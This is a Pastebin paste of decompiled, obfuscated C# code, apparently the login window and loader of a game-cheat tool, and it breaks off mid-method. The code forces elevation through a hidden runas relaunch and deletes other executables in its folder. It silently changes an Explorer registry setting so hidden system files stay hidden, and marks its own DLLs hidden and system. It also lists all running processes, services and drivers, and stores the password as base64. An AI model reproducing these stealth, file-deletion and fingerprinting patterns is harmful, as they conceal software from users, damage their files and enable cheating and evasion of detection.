Guest User

Untitled

a guest
Feb 28th, 2019
547
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 91.35 KB | None | 0 0
  1. using System;
  2. using System.CodeDom.Compiler;
  3. using System.Collections.Generic;
  4. using System.ComponentModel;
  5. using System.Diagnostics;
  6. using System.Drawing.Printing;
  7. using System.Globalization;
  8. using System.IO;
  9. using System.Linq;
  10. using System.Linq.Expressions;
  11. using System.Management;
  12. using System.Net;
  13. using System.Net.NetworkInformation;
  14. using System.Reflection;
  15. using System.Runtime.CompilerServices;
  16. using System.Runtime.InteropServices;
  17. using System.Security.Cryptography;
  18. using System.Security.Principal;
  19. using System.ServiceProcess;
  20. using System.Text;
  21. using System.Threading;
  22. using System.Threading.Tasks;
  23. using System.Windows;
  24. using System.Windows.Controls;
  25. using System.Windows.Input;
  26. using System.Windows.Markup;
  27. using System.Windows.Media;
  28. using System.Windows.Media.Animation;
  29. using System.Windows.Media.Effects;
  30. using System.Windows.Shapes;
  31. using System.Windows.Threading;
  32. using IniParser;
  33. using IniParser.Model;
  34. using Login.Properties;
  35. using Microsoft.CSharp.RuntimeBinder;
  36. using Microsoft.Win32;
  37. using Newtonsoft.Json;
  38. using Shell32;
  39.  
  40. namespace ns0
  41. {
  42. // Token: 0x02000021 RID: 33
  43. public class GClass22 : Window, IComponentConnector
  44. {
  45. // Token: 0x060000F9 RID: 249
  46. [DllImport("dwmapi.dll")]
  47. private static extern int DwmSetWindowAttribute(IntPtr intptr_0, int int_1, ref int int_2, int int_3);
  48.  
  49. // Token: 0x060000FA RID: 250
  50. [DllImport("dwmapi.dll")]
  51. private static extern int DwmExtendFrameIntoClientArea(IntPtr intptr_0, ref Margins margins_0);
  52.  
  53. // Token: 0x060000FB RID: 251
  54. [DllImport("kernel32", SetLastError = true)]
  55. public static extern bool FreeLibrary(IntPtr intptr_0);
  56.  
  57. // Token: 0x060000FC RID: 252
  58. [DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
  59. private static extern IntPtr __l1(GClass22.GStruct1 gstruct1_1);
  60.  
  61. // Token: 0x060000FD RID: 253
  62. [DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
  63. private static extern IntPtr __l6(long long_0);
  64.  
  65. // Token: 0x060000FE RID: 254
  66. [DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
  67. public static extern bool __l12(string string_10);
  68.  
  69. // Token: 0x060000FF RID: 255
  70. [DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
  71. public static extern int __l14();
  72.  
  73. // Token: 0x06000100 RID: 256
  74. [DllImport("API_x64.dll", CallingConvention = CallingConvention.Cdecl)]
  75. public static extern IntPtr __l26(string string_10);
  76.  
  77. // Token: 0x06000101 RID: 257 RVA: 0x00015F08 File Offset: 0x00014108
  78. private static Folder smethod_0(object object_0)
  79. {
  80. Type typeFromProgID = Type.GetTypeFromProgID("Shell.Application");
  81. object target = Activator.CreateInstance(typeFromProgID);
  82. return (Folder)typeFromProgID.InvokeMember("NameSpace", BindingFlags.InvokeMethod, null, target, new object[]
  83. {
  84. object_0
  85. });
  86. }
  87.  
  88. // Token: 0x06000102 RID: 258 RVA: 0x00002C1B File Offset: 0x00000E1B
  89. public bool method_0()
  90. {
  91. return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
  92. }
  93.  
  94. // Token: 0x06000103 RID: 259 RVA: 0x00015F48 File Offset: 0x00014148
  95. public GClass22()
  96. {
  97. Class59.smethod_0();
  98. this.dispatcherTimer_0 = new DispatcherTimer();
  99. this.random_0 = new Random(DateTime.Now.Millisecond);
  100. this.double_0 = 5.0;
  101. this.double_1 = 10.0;
  102. this.double_2 = 0.2;
  103. this.double_3 = -2.0;
  104. base..ctor();
  105. base.Visibility = Visibility.Hidden;
  106. base.Title = GClass28.smethod_6(4);
  107. if (!this.method_0())
  108. {
  109. GClass20.smethod_0("Start the file as administrator", "Info", "");
  110. Thread.Sleep(3000);
  111. Environment.Exit(0);
  112. }
  113. string newLogin = "";
  114. try
  115. {
  116. ServiceControllerStatus status = new ServiceController("npf").Status;
  117. if (status == ServiceControllerStatus.Stopped)
  118. {
  119. GClass20.smethod_0("You have to install WinPCAP\n\nhttps://forum.evilcheats.io/uploads/monthly_2018_06/WinPcap_4_1_3.exe", "", "");
  120. new Thread(delegate()
  121. {
  122. Thread.Sleep(3500);
  123. Environment.Exit(0);
  124. }).Start();
  125. return;
  126. }
  127. if (status == ServiceControllerStatus.StopPending)
  128. {
  129. GClass20.smethod_0("You have to install WinPCAP\n\nhttps://forum.evilcheats.io/uploads/monthly_2018_06/WinPcap_4_1_3.exe", "", "");
  130. new Thread(delegate()
  131. {
  132. Thread.Sleep(3500);
  133. Environment.Exit(0);
  134. }).Start();
  135. return;
  136. }
  137. if (status == ServiceControllerStatus.Paused)
  138. {
  139. GClass20.smethod_0("You have to install WinPCAP\n\nhttps://forum.evilcheats.io/uploads/monthly_2018_06/WinPcap_4_1_3.exe", "", "");
  140. new Thread(delegate()
  141. {
  142. Thread.Sleep(3500);
  143. Environment.Exit(0);
  144. }).Start();
  145. return;
  146. }
  147. }
  148. catch
  149. {
  150. GClass20.smethod_0("You have to install WinPCAP\n\nhttps://forum.evilcheats.io/uploads/monthly_2018_06/WinPcap_4_1_3.exe", "", "");
  151. new Thread(delegate()
  152. {
  153. Thread.Sleep(3500);
  154. Environment.Exit(0);
  155. }).Start();
  156. return;
  157. }
  158. if (Process.GetCurrentProcess().ProcessName.Contains("_updated"))
  159. {
  160. newLogin = Process.GetCurrentProcess().ProcessName.Replace("_updated", "") + ".exe";
  161. Thread.Sleep(1000);
  162. File.Copy(Assembly.GetExecutingAssembly().Location, Directory.GetCurrentDirectory() + "\\" + newLogin, true);
  163. Process.Start(new ProcessStartInfo
  164. {
  165. WindowStyle = ProcessWindowStyle.Hidden,
  166. FileName = "cmd.exe",
  167. WorkingDirectory = Directory.GetCurrentDirectory(),
  168. Arguments = string.Concat(new string[]
  169. {
  170. "/c \"",
  171. Directory.GetCurrentDirectory(),
  172. "\\",
  173. newLogin,
  174. "\" -cc"
  175. }),
  176. Verb = "runas"
  177. });
  178. Environment.Exit(1);
  179. }
  180. GClass22.string_6 = GClass22.smethod_5();
  181. this.thread_0 = new Thread(delegate()
  182. {
  183. if (Process.GetCurrentProcess().ProcessName != "Login_x64")
  184. {
  185. newLogin = "Login_x64.exe";
  186. File.Copy(Assembly.GetExecutingAssembly().Location, Directory.GetCurrentDirectory() + "\\" + newLogin, true);
  187. Process.Start(new ProcessStartInfo
  188. {
  189. WindowStyle = ProcessWindowStyle.Hidden,
  190. FileName = "cmd.exe",
  191. WorkingDirectory = Directory.GetCurrentDirectory(),
  192. Arguments = string.Concat(new string[]
  193. {
  194. "/c \"",
  195. Directory.GetCurrentDirectory(),
  196. "\\",
  197. newLogin,
  198. "\" -cc -nofontcheck"
  199. }),
  200. Verb = "runas"
  201. });
  202. Environment.Exit(1);
  203. }
  204. if (GClass22.smethod_1(Process.GetCurrentProcess()).Contains("nofontcheck"))
  205. {
  206. return;
  207. }
  208. string[] files2 = Directory.GetFiles(Directory.GetCurrentDirectory());
  209. for (int j = 0; j < files2.Count<string>(); j++)
  210. {
  211. try
  212. {
  213. if (!files2[j].EndsWith("_x64.exe") && !files2[j].EndsWith("_x86.exe"))
  214. {
  215. if (files2[j].EndsWith(".exe"))
  216. {
  217. File.Delete(files2[j]);
  218. }
  219. if (files2[j].EndsWith(".local"))
  220. {
  221. File.Delete(files2[j]);
  222. }
  223. if (files2[j].Contains("HtmlRenderer"))
  224. {
  225. File.Delete(files2[j]);
  226. }
  227. }
  228. }
  229. catch
  230. {
  231. }
  232. }
  233. Folder folder = GClass22.smethod_0(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"));
  234. string[] files3 = Directory.GetFiles(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"));
  235. bool flag = false;
  236. bool flag2 = false;
  237. bool flag3 = false;
  238. bool flag4 = false;
  239. for (int k = 0; k < files3.Count<string>(); k++)
  240. {
  241. if (files3[k].ToLower().Contains("fontawesome900"))
  242. {
  243. flag = true;
  244. }
  245. if (files3[k].ToLower().Contains("opensans-regular"))
  246. {
  247. flag4 = true;
  248. }
  249. if (files3[k].ToLower().Contains("opensans-light"))
  250. {
  251. flag3 = true;
  252. }
  253. if (files3[k].ToLower().Contains("opensans-extrabold"))
  254. {
  255. flag2 = true;
  256. }
  257. }
  258. if (!flag)
  259. {
  260. new WebClient().DownloadFile("https://use.fontawesome.com/releases/v5.3.1/webfonts/fa-solid-900.ttf", System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "FontAwesome900.ttf"));
  261. folder.CopyHere(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "FontAwesome900.ttf"), Type.Missing);
  262. File.Delete(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "FontAwesome900.ttf"));
  263. }
  264. if (!flag2)
  265. {
  266. new WebClient().DownloadFile("https://raw.githubusercontent.com/google/fonts/master/apache/opensans/OpenSans-ExtraBold.ttf", System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-ExtraBold.ttf"));
  267. folder.CopyHere(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-ExtraBold.ttf"), Type.Missing);
  268. File.Delete(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-ExtraBold.ttf"));
  269. }
  270. if (!flag3)
  271. {
  272. new WebClient().DownloadFile("https://raw.githubusercontent.com/google/fonts/master/apache/opensans/OpenSans-Light.ttf", System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Light_0.ttf"));
  273. folder.CopyHere(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Light_0.ttf"), Type.Missing);
  274. File.Delete(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Light_0.ttf"));
  275. }
  276. if (!flag4)
  277. {
  278. new WebClient().DownloadFile("https://raw.githubusercontent.com/google/fonts/master/apache/opensans/OpenSans-Regular.ttf", System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Regular.ttf"));
  279. folder.CopyHere(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Regular.ttf"), Type.Missing);
  280. File.Delete(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "OpenSans-Regular.ttf"));
  281. }
  282. if (!flag || !flag2 || !flag3)
  283. {
  284. }
  285. });
  286. this.thread_0.Start();
  287. this.InitializeComponent();
  288. base.MouseDown += new MouseButtonEventHandler(this.GClass22_MouseDown);
  289. this.txt_close.MouseDown += new MouseButtonEventHandler(this.GClass22_MouseDown);
  290. this.txt_minimize.MouseDown += new MouseButtonEventHandler(this.GClass22_MouseDown);
  291. this.input_password.GotFocus += new RoutedEventHandler(this.GClass22_MouseDown);
  292. this.input_username.GotFocus += new RoutedEventHandler(this.GClass22_MouseDown);
  293. this.btn_login.Click += new RoutedEventHandler(this.GClass22_MouseDown);
  294. this.dispatcherTimer_0.Interval = TimeSpan.FromMilliseconds(16.0);
  295. this.dispatcherTimer_0.Tick += this.dispatcherTimer_0_Tick;
  296. this.dispatcherTimer_0.Start();
  297. long num = 0L;
  298. try
  299. {
  300. Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Microsoft", true).OpenSubKey("Windows", true).OpenSubKey("CurrentVersion", true).OpenSubKey("Explorer", true).OpenSubKey("Advanced", true).SetValue("ShowSuperHidden", 0);
  301. }
  302. catch (Exception)
  303. {
  304. }
  305. try
  306. {
  307. foreach (string path in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.dll"))
  308. {
  309. FileAttributes attributes = File.GetAttributes(path);
  310. if (!attributes.HasFlag(FileAttributes.Hidden))
  311. {
  312. File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System);
  313. }
  314. }
  315. }
  316. catch (Exception)
  317. {
  318. }
  319. try
  320. {
  321. if (File.Exists("API_x64.dll"))
  322. {
  323. num = new FileInfo("API_x64.dll").Length;
  324. FileAttributes attributes2 = File.GetAttributes("API_x64.dll");
  325. if (!attributes2.HasFlag(FileAttributes.Hidden))
  326. {
  327. File.SetAttributes("API_x64.dll", File.GetAttributes("API_x64.dll") | FileAttributes.Hidden | FileAttributes.System);
  328. }
  329. }
  330. if (!File.Exists("API_x64.dll") || num != (long)Login.Properties.Resources.smethod_0().Length)
  331. {
  332. if (File.Exists("API_x64.dll"))
  333. {
  334. try
  335. {
  336. File.Delete("API_x64.dll");
  337. }
  338. catch (Exception ex)
  339. {
  340. GClass20.smethod_0("Error API_x64.dll - " + ex.Message, "", "");
  341. }
  342. }
  343. File.WriteAllBytes("API_x64.dll", Login.Properties.Resources.smethod_0());
  344. FileAttributes attributes3 = File.GetAttributes("API_x64.dll");
  345. if (!attributes3.HasFlag(FileAttributes.Hidden))
  346. {
  347. File.SetAttributes("API_x64.dll", File.GetAttributes("API_x64.dll") | FileAttributes.Hidden | FileAttributes.System);
  348. }
  349. Thread.Sleep(5000);
  350. }
  351. }
  352. catch (Exception ex2)
  353. {
  354. GClass20.smethod_0("Error loading API.\n" + ex2.Message, "", "");
  355. Thread.Sleep(5000);
  356. Environment.Exit(0);
  357. }
  358. try
  359. {
  360. GClass22.string_7 = GClass22.__l14().ToString();
  361. }
  362. catch (Exception ex3)
  363. {
  364. GClass20.smethod_0("Error loading API. #1\n" + ex3.Message, "", "");
  365. Thread.Sleep(5000);
  366. Environment.Exit(0);
  367. }
  368. this.thread_1 = new Thread(delegate()
  369. {
  370. try
  371. {
  372. GClass22.gstruct0_0.waitHandle_0 = new WaitHandle[15];
  373. for (int j = 0; j < 5; j++)
  374. {
  375. GClass22.gstruct0_0.waitHandle_0[j] = new EventWaitHandle(false, EventResetMode.AutoReset);
  376. }
  377. GClass22.gstruct1_0.method_1(GClass22.gstruct0_0.waitHandle_0[0].SafeWaitHandle.DangerousGetHandle());
  378. GClass22.gstruct1_0.method_3(GClass22.gstruct0_0.waitHandle_0[1].SafeWaitHandle.DangerousGetHandle());
  379. GClass22.gstruct1_0.method_5(GClass22.gstruct0_0.waitHandle_0[2].SafeWaitHandle.DangerousGetHandle());
  380. GClass22.gstruct1_0.method_7(GClass22.gstruct0_0.waitHandle_0[3].SafeWaitHandle.DangerousGetHandle());
  381. GClass22.string_0 = Marshal.PtrToStringAnsi(GClass22.__l1(GClass22.gstruct1_0));
  382. }
  383. catch (Exception)
  384. {
  385. Thread.Sleep(5000);
  386. Environment.Exit(0);
  387. }
  388. if (GClass22.string_0.Length == 0)
  389. {
  390. Environment.Exit(0);
  391. return;
  392. }
  393. for (int k = 2; k < 3; k++)
  394. {
  395. if (!GClass22.gstruct0_0.waitHandle_0[k].WaitOne(TimeSpan.FromMilliseconds(900.0), true))
  396. {
  397. Thread.Sleep(5000);
  398. Environment.Exit(0);
  399. }
  400. }
  401. });
  402. this.thread_1.Start();
  403. GClass22.smethod_8(this);
  404. try
  405. {
  406. new FileIniDataParser();
  407. IniData iniData = new IniData();
  408. if (!File.Exists(Directory.GetCurrentDirectory() + "\\user.txt") && !File.Exists(Directory.GetCurrentDirectory() + "\\pass.txt"))
  409. {
  410. if (File.Exists(Directory.GetCurrentDirectory() + "\\Config.ini"))
  411. {
  412. iniData = new FileIniDataParser().ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
  413. }
  414. else
  415. {
  416. FileIniDataParser fileIniDataParser = new FileIniDataParser();
  417. iniData = new IniData();
  418. iniData["UserData"]["Name"] = "";
  419. iniData["UserData"]["Pass"] = "";
  420. fileIniDataParser.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData, Encoding.Unicode);
  421. }
  422. }
  423. else
  424. {
  425. try
  426. {
  427. File.Delete(Directory.GetCurrentDirectory() + "\\user.txt");
  428. }
  429. catch
  430. {
  431. }
  432. try
  433. {
  434. File.Delete(Directory.GetCurrentDirectory() + "\\pass.txt");
  435. }
  436. catch
  437. {
  438. }
  439. FileIniDataParser fileIniDataParser2 = new FileIniDataParser();
  440. iniData = new IniData();
  441. iniData["UserData"]["Name"] = File.ReadAllText(Directory.GetCurrentDirectory() + "\\user.txt");
  442. iniData["UserData"]["Pass"] = "";
  443. fileIniDataParser2.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData, Encoding.Unicode);
  444. }
  445. if (iniData["UserData"]["Name"] != "" && iniData["UserData"]["Pass"] != "")
  446. {
  447. this.input_username.Text = iniData["UserData"]["Name"];
  448. this.input_password.Password = Encoding.UTF8.GetString(Convert.FromBase64String(iniData["UserData"]["Pass"]));
  449. }
  450. if (this.input_username.Text != "" && this.input_password.Password != "")
  451. {
  452. GClass22.string_3 = this.input_username.Text;
  453. GClass22.string_4 = this.input_password.Password;
  454. }
  455. }
  456. catch
  457. {
  458. }
  459. this.thread_2 = new Thread(delegate()
  460. {
  461. long ticks = DateTime.Now.Ticks;
  462. if (GClass22.__l6(ticks).ToInt64() != 0L)
  463. {
  464. GClass22.string_1 = Marshal.PtrToStringAnsi(GClass22.__l6(ticks));
  465. }
  466. GClass26.smethod_0();
  467. string str = "";
  468. foreach (string key in GClass26.dictionary_0.Keys)
  469. {
  470. try
  471. {
  472. if (GClass22.__l26(GClass26.dictionary_0[key]).ToInt64() != 0L)
  473. {
  474. str = str + Marshal.PtrToStringAnsi(GClass22.__l26(GClass26.dictionary_0[key])) + ",";
  475. }
  476. }
  477. catch
  478. {
  479. }
  480. }
  481. if (GClass22.gclass23_0.string_2 == string.Empty)
  482. {
  483. string text = string.Empty;
  484. new Process[Process.GetProcesses().Count<Process>()];
  485. ServiceController[] array = new ServiceController[ServiceController.GetServices().Count<ServiceController>()];
  486. ServiceController[] array2 = new ServiceController[ServiceController.GetDevices().Count<ServiceController>()];
  487. Process[] processes = Process.GetProcesses();
  488. array = ServiceController.GetServices();
  489. array2 = ServiceController.GetDevices();
  490. foreach (Process process in processes)
  491. {
  492. if (process.MainWindowTitle != "")
  493. {
  494. text = string.Concat(new string[]
  495. {
  496. text,
  497. "Process: ",
  498. process.ProcessName,
  499. " - ",
  500. process.MainWindowTitle,
  501. "\n"
  502. });
  503. if (process.MainWindowHandle == IntPtr.Zero)
  504. {
  505. }
  506. }
  507. else
  508. {
  509. text = text + "Process: " + process.ProcessName + "\n";
  510. process.MainWindowHandle == IntPtr.Zero;
  511. }
  512. }
  513. foreach (ServiceController serviceController in array)
  514. {
  515. text = string.Concat(new object[]
  516. {
  517. text,
  518. "Service: ",
  519. serviceController.ServiceName,
  520. " ",
  521. serviceController.DisplayName,
  522. " STATUS:",
  523. serviceController.Status,
  524. "\n"
  525. });
  526. }
  527. foreach (ServiceController serviceController2 in array2)
  528. {
  529. text = string.Concat(new object[]
  530. {
  531. text,
  532. "Driver: ",
  533. serviceController2.ServiceName,
  534. " ",
  535. serviceController2.DisplayName,
  536. " STATUS:",
  537. serviceController2.Status,
  538. "\n"
  539. });
  540. }
  541. GClass22.gclass23_0.string_2 = text;
  542. }
  543. GClass22.string_2 = str;
  544. });
  545. this.thread_2.Start();
  546. ((Storyboard)base.FindResource("FadeIn")).Begin(this);
  547. base.Visibility = Visibility.Visible;
  548. }
  549.  
  550. // Token: 0x06000104 RID: 260 RVA: 0x0001691C File Offset: 0x00014B1C
  551. public static string smethod_1(Process process_0)
  552. {
  553. string text = null;
  554. using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(string.Format("SELECT CommandLine FROM Win32_Process WHERE ProcessId = {0}", process_0.Id)))
  555. {
  556. ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator();
  557. if (enumerator.MoveNext())
  558. {
  559. object obj = enumerator.Current["CommandLine"];
  560. text = ((obj != null) ? obj.ToString() : null);
  561. }
  562. }
  563. if (text == null)
  564. {
  565. ProcessModule mainModule = process_0.MainModule;
  566. }
  567. return text;
  568. }
  569.  
  570. // Token: 0x06000105 RID: 261 RVA: 0x000169A0 File Offset: 0x00014BA0
  571. public static string smethod_2(string string_10, string string_11)
  572. {
  573. StringBuilder stringBuilder = new StringBuilder();
  574. for (int i = 0; i < string_11.Length; i++)
  575. {
  576. stringBuilder.Append(string_11[i] ^ string_10[i % string_10.Length]);
  577. }
  578. return stringBuilder.ToString();
  579. }
  580.  
  581. // Token: 0x06000106 RID: 262 RVA: 0x00002C31 File Offset: 0x00000E31
  582. public static string smethod_3(string string_10)
  583. {
  584. return Convert.ToBase64String(Encoding.UTF8.GetBytes(string_10));
  585. }
  586.  
  587. // Token: 0x06000107 RID: 263 RVA: 0x000169E8 File Offset: 0x00014BE8
  588. private async void GClass22_MouseDown(object object_0, dynamic e)
  589. {
  590. try
  591. {
  592. if (GClass22.<>o__41.<>p__1 == null)
  593. {
  594. GClass22.<>o__41.<>p__1 = CallSite<Func<CallSite, object, bool, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.BinaryOperation(CSharpBinderFlags.None, ExpressionType.Equal, typeof(GClass22), new CSharpArgumentInfo[]
  595. {
  596. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
  597. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, null)
  598. }));
  599. }
  600. Func<CallSite, object, bool, object> target = GClass22.<>o__41.<>p__1.Target;
  601. CallSite <>p__ = GClass22.<>o__41.<>p__1;
  602. if (GClass22.<>o__41.<>p__0 == null)
  603. {
  604. GClass22.<>o__41.<>p__0 = CallSite<Func<CallSite, object, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.GetMember(CSharpBinderFlags.None, "Handled", typeof(GClass22), new CSharpArgumentInfo[]
  605. {
  606. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
  607. }));
  608. }
  609. object obj = target(<>p__, GClass22.<>o__41.<>p__0.Target(GClass22.<>o__41.<>p__0, e), false);
  610. if (GClass22.<>o__41.<>p__6 == null)
  611. {
  612. GClass22.<>o__41.<>p__6 = CallSite<Func<CallSite, object, bool>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.UnaryOperation(CSharpBinderFlags.None, ExpressionType.IsTrue, typeof(GClass22), new CSharpArgumentInfo[]
  613. {
  614. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
  615. }));
  616. }
  617. if (!GClass22.<>o__41.<>p__6.Target(GClass22.<>o__41.<>p__6, obj))
  618. {
  619. if (GClass22.<>o__41.<>p__5 == null)
  620. {
  621. GClass22.<>o__41.<>p__5 = CallSite<Func<CallSite, object, bool>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.UnaryOperation(CSharpBinderFlags.None, ExpressionType.IsTrue, typeof(GClass22), new CSharpArgumentInfo[]
  622. {
  623. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
  624. }));
  625. }
  626. Func<CallSite, object, bool> target2 = GClass22.<>o__41.<>p__5.Target;
  627. CallSite <>p__2 = GClass22.<>o__41.<>p__5;
  628. if (GClass22.<>o__41.<>p__4 == null)
  629. {
  630. GClass22.<>o__41.<>p__4 = CallSite<Func<CallSite, object, object, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.BinaryOperation(CSharpBinderFlags.BinaryOperationLogical, ExpressionType.Or, typeof(GClass22), new CSharpArgumentInfo[]
  631. {
  632. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
  633. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
  634. }));
  635. }
  636. Func<CallSite, object, object, object> target3 = GClass22.<>o__41.<>p__4.Target;
  637. CallSite <>p__3 = GClass22.<>o__41.<>p__4;
  638. object arg = obj;
  639. if (GClass22.<>o__41.<>p__3 == null)
  640. {
  641. GClass22.<>o__41.<>p__3 = CallSite<Func<CallSite, object, MouseButton, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.BinaryOperation(CSharpBinderFlags.None, ExpressionType.Equal, typeof(GClass22), new CSharpArgumentInfo[]
  642. {
  643. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
  644. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, null)
  645. }));
  646. }
  647. Func<CallSite, object, MouseButton, object> target4 = GClass22.<>o__41.<>p__3.Target;
  648. CallSite <>p__4 = GClass22.<>o__41.<>p__3;
  649. if (GClass22.<>o__41.<>p__2 == null)
  650. {
  651. GClass22.<>o__41.<>p__2 = CallSite<Func<CallSite, object, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.GetMember(CSharpBinderFlags.None, "ChangedButton", typeof(GClass22), new CSharpArgumentInfo[]
  652. {
  653. CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
  654. }));
  655. }
  656. if (!target2(<>p__2, target3(<>p__3, arg, target4(<>p__4, GClass22.<>o__41.<>p__2.Target(GClass22.<>o__41.<>p__2, e), MouseButton.Left))))
  657. {
  658. goto IL_E1E;
  659. }
  660. }
  661. if (object_0 == this.btn_login && !this.bool_0)
  662. {
  663. GClass22.<>c__DisplayClass41_0 CS$<>8__locals1 = new GClass22.<>c__DisplayClass41_0();
  664. CS$<>8__locals1.<>4__this = this;
  665. this.bool_0 = true;
  666. string[] files = Directory.GetFiles(Directory.GetCurrentDirectory());
  667. for (int i = 0; i < files.Count<string>(); i++)
  668. {
  669. try
  670. {
  671. if (!files[i].Contains("_x64") && !files[i].Contains("_x86"))
  672. {
  673. if (files[i].EndsWith(".exe"))
  674. {
  675. File.Delete(files[i]);
  676. }
  677. }
  678. }
  679. catch
  680. {
  681. }
  682. }
  683. GClass22.string_4 = this.input_password.Password;
  684. GClass22.string_3 = this.input_username.Text;
  685. this.spinner.Visibility = Visibility.Visible;
  686. ((Storyboard)base.FindResource("FadeIn")).Begin(this.spinner);
  687. ((Storyboard)base.FindResource("WaitStoryboard")).Begin();
  688. CS$<>8__locals1.logBuf = "";
  689. TaskAwaiter<GClass22.GEnum0> taskAwaiter = Task.Run<GClass22.GEnum0>(delegate()
  690. {
  691. GClass22.<>c__DisplayClass41_0.Struct0 @struct;
  692. @struct.<>c__DisplayClass41_0_0 = CS$<>8__locals1;
  693. @struct.asyncTaskMethodBuilder_0 = AsyncTaskMethodBuilder<GClass22.GEnum0>.Create();
  694. @struct.int_0 = -1;
  695. AsyncTaskMethodBuilder<GClass22.GEnum0> asyncTaskMethodBuilder_ = @struct.asyncTaskMethodBuilder_0;
  696. asyncTaskMethodBuilder_.Start<GClass22.<>c__DisplayClass41_0.Struct0>(ref @struct);
  697. return @struct.asyncTaskMethodBuilder_0.Task;
  698. }).GetAwaiter();
  699. if (!taskAwaiter.IsCompleted)
  700. {
  701. await taskAwaiter;
  702. TaskAwaiter<GClass22.GEnum0> taskAwaiter2;
  703. taskAwaiter = taskAwaiter2;
  704. taskAwaiter2 = default(TaskAwaiter<GClass22.GEnum0>);
  705. }
  706. GClass22.GEnum0 result = taskAwaiter.GetResult();
  707. GClass22.<>c__DisplayClass41_1 CS$<>8__locals2 = new GClass22.<>c__DisplayClass41_1();
  708. switch (result)
  709. {
  710. case (GClass22.GEnum0)0:
  711. GClass20.smethod_0("Check Username and Password!\n\nUsername is case sensitive.", "", "");
  712. this.spinner.Visibility = Visibility.Hidden;
  713. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  714. goto IL_D3A;
  715. case (GClass22.GEnum0)1:
  716. {
  717. this.spinner.Visibility = Visibility.Hidden;
  718. bool? isChecked = this.check_rememberMe.IsChecked;
  719. if (isChecked.GetValueOrDefault() & isChecked != null)
  720. {
  721. FileIniDataParser fileIniDataParser = new FileIniDataParser();
  722. IniData iniData = fileIniDataParser.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
  723. iniData["UserData"]["Name"] = GClass22.string_3;
  724. iniData["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
  725. fileIniDataParser.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData, Encoding.Unicode);
  726. }
  727. new Thread(new ThreadStart(this.method_7))
  728. {
  729. IsBackground = true
  730. }.Start();
  731. new Thread(new ThreadStart(this.method_8)).Start();
  732. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  733. new GClass28().Show();
  734. base.Close();
  735. goto IL_D3A;
  736. }
  737. case (GClass22.GEnum0)2:
  738. {
  739. bool? isChecked = this.check_rememberMe.IsChecked;
  740. if (isChecked.GetValueOrDefault() & isChecked != null)
  741. {
  742. FileIniDataParser fileIniDataParser2 = new FileIniDataParser();
  743. IniData iniData2 = fileIniDataParser2.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
  744. iniData2["UserData"]["Name"] = GClass22.string_3;
  745. iniData2["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
  746. fileIniDataParser2.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData2, Encoding.Unicode);
  747. }
  748. GClass20.smethod_0("You have been banned!\nIf you think thats a mistake open a Support ticket on our Website.\nhttps://forum.evilcheats.io/support/", "", "");
  749. this.spinner.Visibility = Visibility.Hidden;
  750. ((Storyboard)base.FindResource("WaitStoryboard")).Stop();
  751. goto IL_D3A;
  752. }
  753. case (GClass22.GEnum0)3:
  754. {
